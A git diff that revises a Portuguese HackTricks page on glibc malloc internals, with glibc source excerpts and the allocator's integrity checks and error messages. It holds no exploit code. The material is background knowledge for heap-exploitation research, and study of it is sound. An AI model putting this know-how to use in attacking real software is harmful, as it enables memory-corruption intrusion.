* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -6,11 +6,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -19,28 +19,28 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
(Nenhuma verificação é explicada neste resumo e alguns casos foram omitidos por brevidade)
|
(Nenhuma verificação é explicada neste resumo e alguns casos foram omitidos por brevidade)
|
||||||
|
|
||||||
1. `__libc_malloc` tenta obter um bloco do tcache, se não conseguir, chama `_int_malloc`
|
1. `__libc_malloc` tenta obter um chunk do tcache, se não conseguir, chama `_int_malloc`
|
||||||
2. `_int_malloc` : 
|
2. `_int_malloc` : 
|
||||||
1. Tenta gerar a arena se não houver nenhuma
|
1. Tenta gerar a arena se não houver nenhuma
|
||||||
2. Se houver algum bloco de fast bin do tamanho correto, use-o
|
2. Se houver algum chunk de fast bin do tamanho correto, use-o
|
||||||
1. Preenche o tcache com outros blocos de fast bin
|
1. Preencha o tcache com outros chunks rápidos
|
||||||
3. Se houver algum bloco de small bin do tamanho correto, use-o
|
3. Se houver algum chunk de small bin do tamanho correto, use-o
|
||||||
1. Preenche o tcache com outros blocos desse tamanho
|
1. Preencha o tcache com outros chunks desse tamanho
|
||||||
4. Se o tamanho solicitado não for para small bins, consolida fast bin em unsorted bin
|
4. Se o tamanho solicitado não for para small bins, consolide fast bin em unsorted bin
|
||||||
5. Verifica o unsorted bin, usa o primeiro bloco com espaço suficiente
|
5. Verifique o unsorted bin, use o primeiro chunk com espaço suficiente
|
||||||
1. Se o bloco encontrado for maior, divida-o para retornar uma parte e adicione o restante de volta ao unsorted bin
|
1. Se o chunk encontrado for maior, divida-o para retornar uma parte e adicione o restante de volta ao unsorted bin
|
||||||
2. Se um bloco for do mesmo tamanho que o solicitado, use-o para preencher o tcache em vez de retorná-lo (até que o tcache esteja cheio, então retorne o próximo)
|
2. Se um chunk for do mesmo tamanho que o tamanho solicitado, use-o para preencher o tcache em vez de retorná-lo (até que o tcache esteja cheio, então retorne o próximo)
|
||||||
3. Para cada bloco de tamanho menor verificado, coloque-o no seu respectivo small ou large bin
|
3. Para cada chunk de tamanho menor verificado, coloque-o em seu respectivo small ou large bin
|
||||||
6. Verifica o large bin no índice do tamanho solicitado
|
6. Verifique o large bin no índice do tamanho solicitado
|
||||||
1. Comece a procurar a partir do primeiro bloco que seja maior que o tamanho solicitado, se encontrar algum, retorne-o e adicione os restos ao small bin
|
1. Comece a procurar a partir do primeiro chunk que é maior que o tamanho solicitado, se algum for encontrado, retorne-o e adicione os restos ao small bin
|
||||||
7. Verifica os large bins dos próximos índices até o final
|
7. Verifique os large bins a partir dos próximos índices até o final
|
||||||
1. Do próximo índice maior, verifique se há algum bloco, divida o primeiro bloco encontrado para usá-lo para o tamanho solicitado e adicione o restante ao unsorted bin
|
1. A partir do próximo índice maior, verifique se há algum chunk, divida o primeiro chunk encontrado para usá-lo para o tamanho solicitado e adicione o restante ao unsorted bin
|
||||||
8. Se nada for encontrado nos bins anteriores, obtenha um bloco do bloco superior
|
8. Se nada for encontrado nos bins anteriores, obtenha um chunk do top chunk
|
||||||
9. Se o bloco superior não for grande o suficiente, aumente-o com `sysmalloc`
|
9. Se o top chunk não for grande o suficiente, amplie-o com `sysmalloc`
|
||||||
|
|
||||||
## \_\_libc\_malloc <a href="#libc_malloc" id="libc_malloc"></a>
|
## \_\_libc\_malloc <a href="#libc_malloc" id="libc_malloc"></a>
|
||||||
|
|
||||||
A função `malloc` na verdade chama `__libc_malloc`. Esta função verificará o tcache para ver se há algum bloco disponível do tamanho desejado. Se houver, ele o usará e, se não houver, verificará se é uma única thread e, nesse caso, chamará `_int_malloc` na arena principal e, se não, chamará `_int_malloc` na arena da thread.
|
A função `malloc` na verdade chama `__libc_malloc`. Esta função verificará o tcache para ver se há algum chunk disponível do tamanho desejado. Se houver, usará; se não, verificará se é uma única thread e, nesse caso, chamará `_int_malloc` na arena principal, e se não, chamará `_int_malloc` na arena da thread.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -115,7 +115,7 @@ return victim;
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Observe como ele sempre marcará o ponteiro retornado com `tag_new_usable`, a partir do código:
|
Observe como ele sempre marcará o ponteiro retornado com `tag_new_usable`, do código:
|
||||||
```c
|
```c
|
||||||
void *tag_new_usable (void *ptr)
|
void *tag_new_usable (void *ptr)
|
||||||
|
|
||||||
|
@ -126,15 +126,15 @@ recolored for accessing the memory there.
|
||||||
```
|
```
|
||||||
## \_int\_malloc <a href="#int_malloc" id="int_malloc"></a>
|
## \_int\_malloc <a href="#int_malloc" id="int_malloc"></a>
|
||||||
|
|
||||||
Esta é a função que aloca memória usando os outros bins e o bloco superior.
|
Esta é a função que aloca memória usando os outros bins e o top chunk.
|
||||||
|
|
||||||
* Início
|
* Início
|
||||||
|
|
||||||
Começa definindo algumas variáveis e obtendo o tamanho real que o espaço de memória solicitado precisa ter:
|
Ela começa definindo algumas variáveis e obtendo o tamanho real que o espaço de memória solicitado precisa ter:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Início do \_int\_malloc</summary>
|
<summary>_int_malloc início</summary>
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847
|
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847
|
||||||
static void *
|
static void *
|
||||||
|
@ -182,11 +182,11 @@ return NULL;
|
||||||
|
|
||||||
### Arena
|
### Arena
|
||||||
|
|
||||||
No caso improvável de não haver arenas utilizáveis, ele usa `sysmalloc` para obter um bloco do `mmap`:
|
No improvável caso de não haver arenas utilizáveis, ele usa `sysmalloc` para obter um pedaço de `mmap`:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>_int_malloc não é arena</summary>
|
<summary>_int_malloc not arena</summary>
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6
|
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6
|
||||||
/* There are no usable arenas. Fall back to sysmalloc to get a chunk from
|
/* There are no usable arenas. Fall back to sysmalloc to get a chunk from
|
||||||
|
@ -203,15 +203,15 @@ return p;
|
||||||
|
|
||||||
### Fast Bin
|
### Fast Bin
|
||||||
|
|
||||||
Se o tamanho necessário estiver dentro dos tamanhos dos Fast Bins, tente usar um pedaço do fast bin. Basicamente, com base no tamanho, ele encontrará o índice do fast bin onde os pedaços válidos devem estar localizados e, se houver algum, retornará um deles.\
|
Se o tamanho necessário estiver dentro dos tamanhos dos Fast Bins, tente usar um chunk do fast bin. Basicamente, com base no tamanho, ele encontrará o índice do fast bin onde chunks válidos devem estar localizados e, se houver, retornará um deles.\
|
||||||
Além disso, se o tcache estiver ativado, ele **preencherá o tcache bin desse tamanho com fast bins**.
|
Além disso, se o tcache estiver habilitado, ele **preencherá o bin do tcache daquele tamanho com fast bins**.
|
||||||
|
|
||||||
Enquanto realiza essas ações, algumas verificações de segurança são executadas aqui:
|
Enquanto realiza essas ações, algumas verificações de segurança são executadas aqui:
|
||||||
|
|
||||||
* Se o pedaço estiver desalinhado: `malloc(): pedaço fastbin desalinhado detectado 2`
|
* Se o chunk estiver desalinhado: `malloc(): unaligned fastbin chunk detected 2`
|
||||||
* Se o pedaço à frente estiver desalinhado: `malloc(): pedaço fastbin desalinhado detectado`
|
* Se o chunk seguinte estiver desalinhado: `malloc(): unaligned fastbin chunk detected`
|
||||||
* Se o pedaço retornado tiver um tamanho incorreto por causa de seu índice no fast bin: `malloc(): corrupção de memória (fast)`
|
* Se o chunk retornado tiver um tamanho que não está correto por causa de seu índice no fast bin: `malloc(): memory corruption (fast)`
|
||||||
* Se algum pedaço usado para preencher o tcache estiver desalinhado: `malloc(): pedaço fastbin desalinhado detectado 3`
|
* Se algum chunk usado para preencher o tcache estiver desalinhado: `malloc(): unaligned fastbin chunk detected 3`
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -296,17 +296,21 @@ return p;
|
||||||
|
|
||||||
### Small Bin
|
### Small Bin
|
||||||
|
|
||||||
Conforme indicado em um comentário, os small bins mantêm um tamanho por índice, portanto, verificar se um chunk válido está disponível é super rápido, então após os fast bins, os small bins são verificados.
|
Como indicado em um comentário, pequenos bins contêm um tamanho por índice, portanto, verificar se um chunk válido está disponível é super rápido, então, após os fast bins, os small bins são verificados.
|
||||||
|
|
||||||
A primeira verificação é descobrir se o tamanho solicitado poderia estar dentro de um small bin. Nesse caso, obtenha o **índice** correspondente dentro do small bin e veja se há **qualquer chunk disponível**.
|
A primeira verificação é descobrir se o tamanho solicitado pode estar dentro de um small bin. Nesse caso, obtenha o **índice** correspondente dentro do smallbin e veja se há **qualquer chunk disponível**.
|
||||||
|
|
||||||
Em seguida, é realizada uma verificação de segurança verificando:
|
Em seguida, uma verificação de segurança é realizada verificando:
|
||||||
|
|
||||||
- se `victim->bk->fd = victim`. Para verificar se ambos os chunks estão corretamente vinculados.
|
*  se `victim->bk->fd = victim`. Para ver se ambos os chunks estão corretamente vinculados.
|
||||||
|
|
||||||
Nesse caso, o chunk **recebe o bit `inuse`,** a lista duplamente vinculada é corrigida para que esse chunk desapareça dela (pois será usado) e o bit de não ser da arena principal é definido, se necessário.
|
Nesse caso, o chunk **recebe o bit `inuse`,** a lista duplamente encadeada é corrigida para que esse chunk desapareça dela (já que vai ser usado), e o bit de arena não principal é definido, se necessário.
|
||||||
|
|
||||||
Por fim, **preencha o índice do tcache do tamanho solicitado** com outros chunks dentro do small bin (se houver).
|
Finalmente, **preencha o índice tcache do tamanho solicitado** com outros chunks dentro do small bin (se houver).
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>_int_malloc small bin</summary>
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6
|
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6
|
||||||
|
|
||||||
|
@ -371,11 +375,11 @@ return p;
|
||||||
|
|
||||||
### malloc\_consolidate
|
### malloc\_consolidate
|
||||||
|
|
||||||
Se não era um pequeno pedaço, é um grande pedaço e, nesse caso, **`malloc_consolidate`** é chamado para evitar fragmentação de memória.
|
Se não era um pequeno bloco, é um grande bloco, e neste caso **`malloc_consolidate`** é chamado para evitar a fragmentação de memória.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>chamada malloc_consolidate</summary>
|
<summary>chamada de malloc_consolidate</summary>
|
||||||
```c
|
```c
|
||||||
/*
|
/*
|
||||||
If this is a large request, consolidate fastbins before continuing.
|
If this is a large request, consolidate fastbins before continuing.
|
||||||
|
@ -398,19 +402,19 @@ malloc_consolidate (av);
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
A função de consolidação malloc basicamente remove chunks do fast bin e os coloca no unsorted bin. Após o próximo malloc, esses chunks serão organizados em seus respectivos small/fast bins.
|
A função malloc consolidate basicamente remove pedaços do fast bin e os coloca no unsorted bin. Após o próximo malloc, esses pedaços serão organizados em seus respectivos small/fast bins.
|
||||||
|
|
||||||
Observe que, ao remover esses chunks, se forem encontrados com chunks anteriores ou posteriores que não estão em uso, eles serão **desvinculados e mesclados** antes de colocar o chunk final no **unsorted** bin.
|
Note que, ao remover esses pedaços, se eles forem encontrados com pedaços anteriores ou seguintes que não estão em uso, eles serão **desvinculados e mesclados** antes de colocar o pedaço final no **unsorted** bin.
|
||||||
|
|
||||||
Para cada chunk do fast bin, são realizadas algumas verificações de segurança:
|
Para cada pedaço do fast bin, uma série de verificações de segurança é realizada:
|
||||||
|
|
||||||
* Se o chunk não estiver alinhado, aciona: `malloc_consolidate(): unaligned fastbin chunk detected`
|
* Se o pedaço estiver desalinhado, aciona: `malloc_consolidate(): unaligned fastbin chunk detected`
|
||||||
* Se o chunk tiver um tamanho diferente do que deveria por causa do índice em que está: `malloc_consolidate(): invalid chunk size`
|
* Se o pedaço tiver um tamanho diferente do que deveria por causa do índice em que está: `malloc_consolidate(): invalid chunk size`
|
||||||
* Se o chunk anterior não estiver em uso e o chunk anterior tiver um tamanho diferente do indicado por `prev_chunk`: `corrupted size vs. prev_size in fastbins`
|
* Se o pedaço anterior não estiver em uso e o pedaço anterior tiver um tamanho diferente do indicado por `prev_chunk`: `corrupted size vs. prev_size in fastbins`
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Função malloc_consolidate</summary>
|
<summary>função malloc_consolidate</summary>
|
||||||
```c
|
```c
|
||||||
// https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2
|
// https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2
|
||||||
|
|
||||||
|
@ -515,20 +519,20 @@ av->top = p;
|
||||||
|
|
||||||
### Bin não ordenado
|
### Bin não ordenado
|
||||||
|
|
||||||
É hora de verificar o bin não ordenado em busca de um possível chunk válido para usar.
|
É hora de verificar o bin não ordenado em busca de um chunk válido para usar.
|
||||||
|
|
||||||
#### Início
|
#### Início
|
||||||
|
|
||||||
Isso começa com um grande loop que percorrerá o bin não ordenado na direção `bk` até chegar ao final (a estrutura da arena) com `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` 
|
Isso começa com um grande loop for que irá percorrer o bin não ordenado na direção `bk` até chegar ao final (a estrutura da arena) com `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` 
|
||||||
|
|
||||||
Além disso, algumas verificações de segurança são realizadas sempre que um novo chunk é considerado:
|
Além disso, algumas verificações de segurança são realizadas toda vez que um novo chunk é considerado:
|
||||||
|
|
||||||
* Se o tamanho do chunk for estranho (muito pequeno ou muito grande): `malloc(): tamanho inválido (não ordenado)`
|
* Se o tamanho do chunk é estranho (muito pequeno ou muito grande): `malloc(): invalid size (unsorted)`
|
||||||
* Se o tamanho do próximo chunk for estranho (muito pequeno ou muito grande): `malloc(): tamanho próximo inválido (não ordenado)`
|
* Se o tamanho do próximo chunk é estranho (muito pequeno ou muito grande): `malloc(): invalid next size (unsorted)`
|
||||||
* Se o tamanho anterior indicado pelo próximo chunk difere do tamanho do chunk: `malloc(): next->prev_size incompatível (não ordenado)`
|
* Se o tamanho anterior indicado pelo próximo chunk difere do tamanho do chunk: `malloc(): mismatching next->prev_size (unsorted)`
|
||||||
* Se não `victim->bck->fd == victim` ou não `victim->fd == av` (arena): `malloc(): lista duplamente encadeada não ordenada corrompida`
|
* Se não `victim->bck->fd == victim` ou não `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted`
|
||||||
* Como estamos sempre verificando o último, seu `fd` deve estar sempre apontando para a estrutura da arena.
|
* Como estamos sempre verificando o último, seu `fd` deve sempre apontar para a estrutura da arena.
|
||||||
* Se o próximo chunk não estiver indicando que o anterior está em uso: `malloc(): next->prev_inuse inválido (não ordenado)`
|
* Se o próximo chunk não indica que o anterior está em uso: `malloc(): invalid next->prev_inuse (unsorted)`
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -585,7 +589,7 @@ malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
|
||||||
|
|
||||||
#### se `in_smallbin_range`
|
#### se `in_smallbin_range`
|
||||||
|
|
||||||
Se o chunk for maior do que o tamanho solicitado, use-o e defina o restante do espaço do chunk na lista não ordenada e atualize o `last_remainder` com ele.
|
Se o chunk for maior do que o tamanho solicitado, use-o e coloque o restante do espaço do chunk na lista não ordenada e atualize o `last_remainder` com isso.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -632,14 +636,14 @@ return p;
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Se isso foi bem-sucedido, retorne o chunk e acabou, caso contrário, continue executando a função...
|
Se isso foi bem-sucedido, retorne o chunk e acabou, se não, continue executando a função...
|
||||||
|
|
||||||
#### se o tamanho for igual
|
#### se tamanho igual
|
||||||
|
|
||||||
Continue removendo o chunk do bin, no caso em que o tamanho solicitado é exatamente o mesmo do chunk:
|
Continue removendo o chunk do bin, caso o tamanho solicitado seja exatamente o do chunk:
|
||||||
|
|
||||||
* Se o tcache não estiver cheio, adicione-o ao tcache e continue indicando que há um chunk de tcache que poderia ser usado
|
* Se o tcache não estiver cheio, adicione-o ao tcache e continue indicando que há um chunk de tcache que pode ser usado
|
||||||
* Se o tcache estiver cheio, simplesmente use-o retornando-o
|
* Se o tcache estiver cheio, apenas use-o retornando-o
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -683,20 +687,20 @@ return p;
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Se o bloco não for retornado ou adicionado ao tcache, continue com o código...
|
Se o chunk não for retornado ou adicionado ao tcache, continue com o código...
|
||||||
|
|
||||||
#### colocar bloco em um bin
|
#### colocar chunk em um bin
|
||||||
|
|
||||||
Armazene o bloco verificado no bin pequeno ou no bin grande de acordo com o tamanho do bloco (mantendo o bin grande devidamente organizado).
|
Armazene o chunk verificado no small bin ou no large bin de acordo com o tamanho do chunk (mantendo o large bin devidamente organizado).
|
||||||
|
|
||||||
Existem verificações de segurança sendo realizadas para garantir que ambas as listas duplamente encadeadas do bin grande não estejam corrompidas:
|
Estão sendo realizadas verificações de segurança para garantir que ambas as listas duplamente ligadas do large bin não estejam corrompidas:
|
||||||
|
|
||||||
* Se `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): lista duplamente encadeada do bin grande corrompida (nextsize)`
|
* Se `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)`
|
||||||
* Se `fwd->bk->fd != fwd`: `malloc(): lista duplamente encadeada do bin grande corrompida (bk)`
|
* Se `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><code>_int_malloc</code> colocar bloco em um bin</summary>
|
<summary><code>_int_malloc</code> colocar chunk em um bin</summary>
|
||||||
```c
|
```c
|
||||||
/* place chunk in bin */
|
/* place chunk in bin */
|
||||||
|
|
||||||
|
@ -770,15 +774,15 @@ bck->fd = victim;
|
||||||
|
|
||||||
#### Limites do `_int_malloc`
|
#### Limites do `_int_malloc`
|
||||||
|
|
||||||
Neste ponto, se algum bloco foi armazenado no tcache que pode ser usado e o limite é atingido, apenas **retorne um bloco tcache**.
|
Neste ponto, se algum chunk foi armazenado no tcache que pode ser usado e o limite é alcançado, apenas **retorne um chunk do tcache**.
|
||||||
|
|
||||||
Além disso, se **MAX\_ITERS** for atingido, saia do loop e obtenha um bloco de uma maneira diferente (bloco superior).
|
Além disso, se **MAX\_ITERS** for alcançado, saia do loop e obtenha um chunk de uma maneira diferente (top chunk).
|
||||||
|
|
||||||
Se `return_cached` foi definido, apenas retorne um bloco do tcache para evitar buscas maiores.
|
Se `return_cached` foi definido, apenas retorne um chunk do tcache para evitar buscas maiores.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Limites do <code>_int_malloc</code></summary>
|
<summary><code>Limites do _int_malloc</code></summary>
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7
|
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7
|
||||||
|
|
||||||
|
@ -809,21 +813,21 @@ return tcache_get (tc_idx);
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Se os limites não forem atingidos, continue com o código...
|
Se os limites não forem alcançados, continue com o código...
|
||||||
|
|
||||||
### Large Bin (por índice)
|
### Grande Bin (por índice)
|
||||||
|
|
||||||
Se o pedido for grande (não estiver no small bin) e ainda não tivermos retornado nenhum chunk, obtenha o **índice** do tamanho solicitado no **large bin**, verifique se **não está vazio** ou se o **maior chunk neste bin é maior** do que o tamanho solicitado e, nesse caso, encontre o **menor chunk que pode ser usado** para o tamanho solicitado.
|
Se o pedido for grande (não na pequena bin) e ainda não tivermos retornado nenhum chunk, obtenha o **índice** do tamanho solicitado na **grande bin**, verifique se **não está vazia** ou se o **maior chunk nesta bin é maior** do que o tamanho solicitado e, nesse caso, encontre o **menor chunk que pode ser usado** para o tamanho solicitado.
|
||||||
|
|
||||||
Se o espaço restante do chunk finalmente usado puder ser um novo chunk, adicione-o ao unsorted bin e o lsast\_reminder é atualizado.
|
Se o espaço restante do chunk finalmente usado puder ser um novo chunk, adicione-o à bin não ordenada e o lsast\_reminder é atualizado.
|
||||||
|
|
||||||
Uma verificação de segurança é feita ao adicionar o lembrete ao unsorted bin:
|
Uma verificação de segurança é feita ao adicionar o restante à bin não ordenada:
|
||||||
|
|
||||||
* `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
|
* `bck->fd-> bk != bck`: `malloc(): chunks não ordenados corrompidos`
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><code>_int_malloc</code> Large bin (por índice)</summary>
|
<summary><code>_int_malloc</code> Grande bin (por índice)</summary>
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10
|
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10
|
||||||
|
|
||||||
|
@ -898,17 +902,17 @@ return p;
|
||||||
|
|
||||||
Se um chunk não for encontrado adequado para isso, continue
|
Se um chunk não for encontrado adequado para isso, continue
|
||||||
|
|
||||||
### Large Bin (próximo maior)
|
### Grande Bin (próximo maior)
|
||||||
|
|
||||||
Se na large bin exata não houver nenhum chunk que possa ser usado, comece a percorrer todas as próximas large bins (começando pela imediatamente maior) até que uma seja encontrada (se houver).
|
Se no grande bin exato não houver nenhum chunk que possa ser usado, comece a percorrer todos os próximos grandes bins (começando pelo imediatamente maior) até que um seja encontrado (se houver).
|
||||||
|
|
||||||
O restante do chunk dividido é adicionado na unsorted bin, last\_reminder é atualizado e a mesma verificação de segurança é realizada:
|
O restante do chunk dividido é adicionado no bin não ordenado, last\_reminder é atualizado e a mesma verificação de segurança é realizada:
|
||||||
|
|
||||||
* `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2`
|
* `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2`
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><code>_int_malloc</code> Large bin (próximo maior)</summary>
|
<summary><code>_int_malloc</code> Grande bin (próximo maior)</summary>
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10
|
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10
|
||||||
|
|
||||||
|
@ -1028,11 +1032,11 @@ Neste ponto, é hora de obter um novo chunk do Top chunk (se for grande o sufici
|
||||||
|
|
||||||
Ele começa com uma verificação de segurança para garantir que o tamanho do chunk não seja muito grande (corrompido):
|
Ele começa com uma verificação de segurança para garantir que o tamanho do chunk não seja muito grande (corrompido):
|
||||||
|
|
||||||
* `chunksize(av->top) > av->system_mem`: `malloc(): tamanho do top corrompido`
|
* `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size`
|
||||||
|
|
||||||
Em seguida, ele usará o espaço do top chunk se for grande o suficiente para criar um chunk do tamanho solicitado.\
|
Em seguida, usará o espaço do top chunk se for grande o suficiente para criar um chunk do tamanho solicitado.\
|
||||||
Se não houver espaço suficiente, se houver chunks rápidos, consolide-os e tente novamente.\
|
Caso contrário, se houver chunks rápidos, consolide-os e tente novamente.\
|
||||||
Por fim, se não houver espaço suficiente, use `sysmalloc` para alocar o tamanho necessário.
|
Finalmente, se não houver espaço suficiente, use `sysmalloc` para alocar o tamanho necessário.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -1105,13 +1109,13 @@ return p;
|
||||||
|
|
||||||
## sysmalloc
|
## sysmalloc
|
||||||
|
|
||||||
### Início do sysmalloc
|
### sysmalloc início
|
||||||
|
|
||||||
Se a arena for nula ou o tamanho solicitado for muito grande (e ainda houver mmaps permitidos), use `sysmalloc_mmap` para alocar espaço e retorná-lo.
|
Se a arena for nula ou o tamanho solicitado for muito grande (e houver mmaps permitidos restantes), use `sysmalloc_mmap` para alocar espaço e retorná-lo.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Início do sysmalloc</summary>
|
<summary>sysmalloc início</summary>
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531
|
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531
|
||||||
|
|
||||||
|
@ -1180,21 +1184,21 @@ return 0;
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### Verificações do sysmalloc
|
### sysmalloc checks
|
||||||
|
|
||||||
Começa obtendo informações do antigo top chunk e verificando se algumas das seguintes condições são verdadeiras:
|
Começa obtendo informações do antigo chunk superior e verificando se algumas das seguintes condições são verdadeiras:
|
||||||
|
|
||||||
* O tamanho do heap antigo é 0 (novo heap)
|
* O tamanho do antigo heap é 0 (novo heap)
|
||||||
* O tamanho do heap anterior é maior que MINSIZE e o Top antigo está em uso
|
* O tamanho do heap anterior é maior que MINSIZE e o antigo Top está em uso
|
||||||
* O heap está alinhado ao tamanho da página (0x1000, então os 12 bits inferiores precisam ser 0)
|
* O heap está alinhado ao tamanho da página (0x1000, então os 12 bits inferiores precisam ser 0)
|
||||||
|
|
||||||
Em seguida, também verifica se:
|
Então, também verifica se:
|
||||||
|
|
||||||
* O tamanho antigo não tem espaço suficiente para criar um chunk do tamanho solicitado
|
* O tamanho antigo não tem espaço suficiente para criar um chunk para o tamanho solicitado
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Verificações do sysmalloc</summary>
|
<summary>sysmalloc checks</summary>
|
||||||
```c
|
```c
|
||||||
/* Record incoming configuration of top */
|
/* Record incoming configuration of top */
|
||||||
|
|
||||||
|
@ -1221,8 +1225,8 @@ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
|
||||||
|
|
||||||
### sysmalloc não é a arena principal
|
### sysmalloc não é a arena principal
|
||||||
|
|
||||||
Primeiro tentará **expandir** o heap anterior para este heap. Se não for possível, tentará **alocar um novo heap** e atualizar os ponteiros para poder usá-lo.\
|
Ele tentará primeiro **expandir** o heap anterior para este heap. Se não for possível, tentará **alocar um novo heap** e atualizar os ponteiros para poder usá-lo.\
|
||||||
Por fim, se isso não funcionar, tentará chamar **`sysmalloc_mmap`**. 
|
Finalmente, se isso não funcionar, tente chamar **`sysmalloc_mmap`**. 
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -1286,9 +1290,15 @@ return mm;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Arena principal do sysmalloc
|
</details>
|
||||||
|
|
||||||
Começa calculando a quantidade de memória necessária. Ele começará solicitando memória contígua para que, neste caso, seja possível usar a memória antiga não utilizada. Também são realizadas algumas operações de alinhamento.
|
### sysmalloc main arena
|
||||||
|
|
